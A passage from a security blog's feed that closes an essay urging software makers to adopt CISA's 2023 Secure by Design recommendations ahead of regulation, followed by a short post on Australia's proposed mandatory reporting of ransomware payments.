lost productivity makes for a good (bad?) news story, but as a society, I don't think we value it as much as journalists would have you believe. <strong>Surely, we move to fix things all-proper-like when people die though, right?</strong></p> <p><em>Right?</em></p> <p><a rel="external" href="https://en.wikipedia.org/wiki/Stuxnet">Stuxnet</a>, <a rel="external" href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack#Affected_organisations">WannaCry</a>, Ransomware in general, heck arguably, even the old <a rel="external" href="https://en.wikipedia.org/wiki/Therac-25#Root_causes">Therac-25 Radiation Therapy Machine</a> of the 1980s were all situations where human lives could have been, if not were, affected because of insecure by design or other design flaws we would consider to be security adjacent.</p> <p>So no, fact is, when it all comes down to the cold hard math of making said crusts, people (not just 'big evil companies' I might add), put their earning potential ahead of all else.</p> <h1 id="this-is-extremely-short-sighted">This is extremely short-sighted</h1> <p>At the moment we enjoy relatively cheap technology, maybe a few more ads than I'd like, but for those with enough means to purchase a device, much of the software you need to make your life easier is near enough to free.</p> <p>The thing that does change though, is the rate at which we embed technology into the critical parts of our lives. This is a given.</p> <p>In order to protect lives, we are now looking at the alternative solution to businesses regulating themselves. Of course, I mean governments doing the regulation bit. And this will make everything more expensive.</p> <h1 id="where-businesses-fail-to-act-governments-step-in">Where businesses fail to act, governments step in</h1> <p>Remember when cars didn't have seat belts? OK, so I don't either, but that was a big issue in the 60s, people were dying enough that <a rel="external" href="https://www.youtube.com/watch?v=vTnWMnLJqT8">Ralph Nader wrote a book about it</a>.</p> <p>That led to loads of litigation and then government regulation, and finally, a massive increase in safety.</p> <p>It also added well over 10% to the price of a car, depending on what sources you refer to. Could businesses have avoided this? Could cars have been cheaper and safer?</p> <p>So given the above, in my opinion, tech companies will have their 'Ralph Nader' moment in the future, and until then, things aren't likely to change.</p> <h1 id="the-us-government-is-actually-doing-something-meaningful-to-prevent-the-repeat-of-history">The US Government is actually doing something meaningful to prevent the repeat of history</h1> <p>Enter the <a rel="external" href="https://www.cisa.gov/resources-tools/resources/secure-by-design">CISA recommendations of 2023</a>, which is the first attempt at a government (that I'm aware of, at least), that tries to properly define 'secure by design'.</p> <p>The subtext is often missed though. CISA is trying to give us all a massive hint: "start doing these things before we force you to do them." They know that the lawsuits are coming, <a rel="external" href="https://www.sec.gov/newsroom/press-releases/2023-139">governments are even enabling them</a>, as one of the biggest customers of technology, this makes perfect sense.</p> <h1 id="what-if-we-adopted-the-cisa-recommendations-then">What if we adopted the CISA recommendations then...</h1> <p>Alright, so you want to be a good global citizen and make software that is secure by design? First up. Thank you, for trying to play the long game, and make software cheaper for everyone by raising the bar and customers expectations!</p> <blockquote> <p>There is no single solution to end the persistent threat of malicious cyber actors exploiting technology vulnerabilities, and products that are “secure by design” will continue to suffer vulnerabilities; however, a large set of vulnerabilities are due to a relatively small subset of root causes</p> </blockquote> <p>-<em>Secure by Design: Principles and Approaches to Secure By Design Software, CISA, 2023</em></p> <p>In this document two definitions now exist that you can hang your hat on as a product designer, or software engineer.</p> <blockquote> <h4 id="secure-by-design">Secure by design</h4> <p>"Secure by design" means that technology products are built in a way that reasonably protects against malicious cyber actors successfully gaining access to devices, data, and connected infrastructure Software manufacturers should perform a risk assessment to identify and enumerate prevalent cyber threats to critical systems, and then include protections in product blueprints that account for the evolving cyber threat landscape.</p> </blockquote> <blockquote> <h4 id="secure-by-default">Secure by default</h4> <p>“Secure by default” means products are resilient against prevalent exploitation techniques out of the box without added charge These products protect against the most prevalent threats and vulnerabilities without end-users having to take additional steps to secure them Secure by default products are designed to make customers acutely aware that when they deviate from safe defaults, they are increasing the likelihood of compromise unless they implement additional compensatory controls Secure by default is a form of secure by design</p> </blockquote> <blockquote> <p>Security should not be a luxury option, but should be considered a right [that] customers receive without negotiating or paying more.</p> </blockquote> <p>Honestly, there are so many good reasons to read this paper, just do it.</p> <p>Summarizing for you though, they do a great job of boiling this down to three core principles that any business owner can apply to their company.</p> <ol> <li>Take ownership of customer security outcomes</li> <li>Embrace radical transparency and accountability</li> <li>Build organizational structure and leadership to achieve these goals</li> </ol> <p>For product designers and engineers we go deeper:</p> <ul> <li>Memory safe language use</li> <li>Lean on hardware that can use fine-grained memory protection</li> <li>Acquire and maintain secure software components (yes, this means libraries and middleware)</li> <li>Lean on web frameworks that properly escape inputs</li> <li>Use parameterized database queries to avoid injection flaws</li> <li>Use static and dynamic application security testing tools to assist in error detection</li> <li>Code review should be a thing you do (i.e. QA)</li> <li>Provide an SBoM</li> <li>Establish Vulnerability Disclosure programs</li> <li>Include root cause or CWE references in CVE reports</li> <li>Design infrastructure such that the compromise of a single security control does not result in total system compromise.</li> <li>Meet a baseline of Cybersecurity Performance Goals, which are too numerous to mention in this article, <a rel="external" href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals">use this link as reference instead</a>.</li> </ul> <h1 id="at-what-cost">At what cost?</h1> <p>Every time we have a 'black swan' event your customers governments are more likely to react with legislation. If you simply build like this today, you amortize that cost over the course of years, not months. A recent estimate puts this cost in the US at "$300 billion annually, only $53 billion less than firms spend on corporate income taxes." (T)</p> <p>Your customers and investors probably won't notice immediately, but when your competitors jack their prices up, you'll be smugly pointing to all the good work you did over the past few years and reaping the churn.</p> <p>History shows us that without proactive measures from within, industries often face stringent external regulations. By adopting CISA’s 2023 recommendations now, technology companies can not only avert crises but also pave the way for a safer digital future. It’s not just about avoiding penalties—it’s about leading the charge towards a more secure world. What steps will you take to ensure your products are secure by design?</p> <p>Final thought, consider <a rel="external" href="https://www.theregreview.org/2024/02/28/hoguet-estimating-the-impact-of-regulation-on-business/">how much government regulation costs other industries</a> and start factoring it into your strategic thinking, today. Because the warning shots have been fired.</p> <p>*- Complete aside: <em>In the author's opinion, this is why, time and time again, 'no code' solutions fail to live up to expectations (because they produce an unmaintainable mess that defies to be safely modified) and, why the armies of new wave AI-only 'programmers' aren't taking all the jobs in IT (because programming isn't the only skill we're hiring for here).</em></p> <h1 id="references">References</h1> <ul> <li>https://www.abc.net.au/news/2017-05-14/ransomware-cyberattack-threat-lingers-as-people-return-to-work/8525554</li> <li>https://www.wired.com/2002/01/find-the-cost-of-virus-freedom/</li> <li>Code-red: case study on the spread and victims of an internet worm, D. Moore, C. Shannon, K. Claffy, https://dl.acm.org/doi/10.1145/637201.637244</li> <li>The Internet Worm Program: An Analysis, Eugene H. Spafford, 1988 https://spaf.cerias.purdue.edu/tech-reps/823.pdf</li> <li>https://x.com/paulg/status/1323246618326507524</li> <li>https://www.theregister.com/2024/08/14/august_patch_tuesday_ipv6/</li> <li>https://www.cisa.gov/resources-tools/resources/secure-by-design</li> <li>https://www.sec.gov/newsroom/press-releases/2023-139</li> <li>https://www.theregreview.org/2024/02/28/hoguet-estimating-the-impact-of-regulation-on-business/</li> <li>https://obamawhitehouse.archives.gov/omb/inforeg_intro</li> </ul> Australian Cybersecurity Act proposals Q3 2024 2024-07-30T00:00:00+00:00 2024-07-30T00:00:00+00:00 akses https://trapdoorsec.com/posts/cyber-security-act-q3-2024/ <p>The Aussie Government is looking towards transparency over ransomware payments and appears to have landed on a mandatory reporting scheme.</p> <p><em>source:</em> <a rel="external" href="https://www.abc.net.au/news/2024-07-30/cyber-ransom-payments-new-laws-before-parliament/104113038">https://www.abc.net.au/news/2024-07-30/cyber-ransom-payments-new-laws-before-parliament/104113038</a></p> <p><img src="/img/stock_virus.jpg" alt="a virus alert on a pew pew map" /></p> <ul> <li>Businesses earning over $3M per annum would be expected to report any payments to ransomware operators</li> <li>Failure to do so could incur fines of $15000</li> <li>This does not punish businesses for the act of payment</li> </ul> <p>This appears to align with some sections in the <a rel="external" href="https://www.homeaffairs.gov.au/cyber-security-subsite/files/cyber-security-strategy-2023-30-consultation-paper.pdf">2023-2030 strategic consultation paper (PDF)</a>, so it comes with little surprise.</p> <p>If I’d had to guess it is to support the idea of giving businesses incentives to engage with LE in meaningful ways, and to ensure that any “consequence management powers” can be exercised according to the level of threat posed to anything related to the delivery of critical infrastructure.</p> <p>For example:</p> <blockquote> <p>Expand crisis response arrangements to ensure they capture secondary consequences from significant incidents. Government will consult with industry on introducing an all-hazards consequence management power that will allow it to direct an entity to take specific actions to manage the consequences of a national significant incident. This is a last-resort power, used where no other powers are available and where it does not interfere with or impede a law enforcement action or regulatory action.</p> </blockquote> <p>The above would be difficult to pull off if it were considered completely legal and above board to silently pay off a ransomware operator as a private business responsible for privatized critical infrastructure.</p> <p>This all appears to align with the current Privacy Act and its <a rel="external" href="https://www.oaic.gov.au/privacy/privacy-legislation/the-privacy-act/rights-and-responsibilities#OrgAndAgencyPrivacyActCovers">National Data Breaches Scheme's current threshold related to small businesses</a>. For now, consistency is probably a good thing so that it is not a mess of "do I or don't I" report a breach or a ransomware payment.</p> <p>That said, the thresholds for cybercrime reporting vs, say, anti-modern day slavery commitments feel a bit back to front. Considering that supply chain / modern slavery commitments begin at AUD$100M per annum (under the AG recommendation to lower this to $50M). Arguably, the impacts of such supply chain issues has a bigger impact than ransomware currently, and with the <a rel="external" href="https://globalaffairs.org/bluemarble/how-shein-and-temu-get-around-us-labor-laws-ban-products-made-forced-labor">advent of companies that make it somewhat achievable</a> to run a small value-add business on the back of forced labour, probably even more accessible to sub AUD$3M revenue generating companies.</p> <p>To put this into perspective, depending on who you ask, ransomware in 2021 cost us around USD $20 Billion. <a rel="external" href="https://www.ilo.org/publications/major-publications/profits-and-poverty-economics-forced-labour">The ILO argues that forced labour cost us an obscene USD$280 Billion</a>.</p> <p>Not to downplay just how much impact cybercrime in total generates, nor the ransomware piece of that puzzle, yet I do feel there is an opportunity for looking at the impact of technology availability in other areas, in the same breath as dealing with ransomware issues.</p>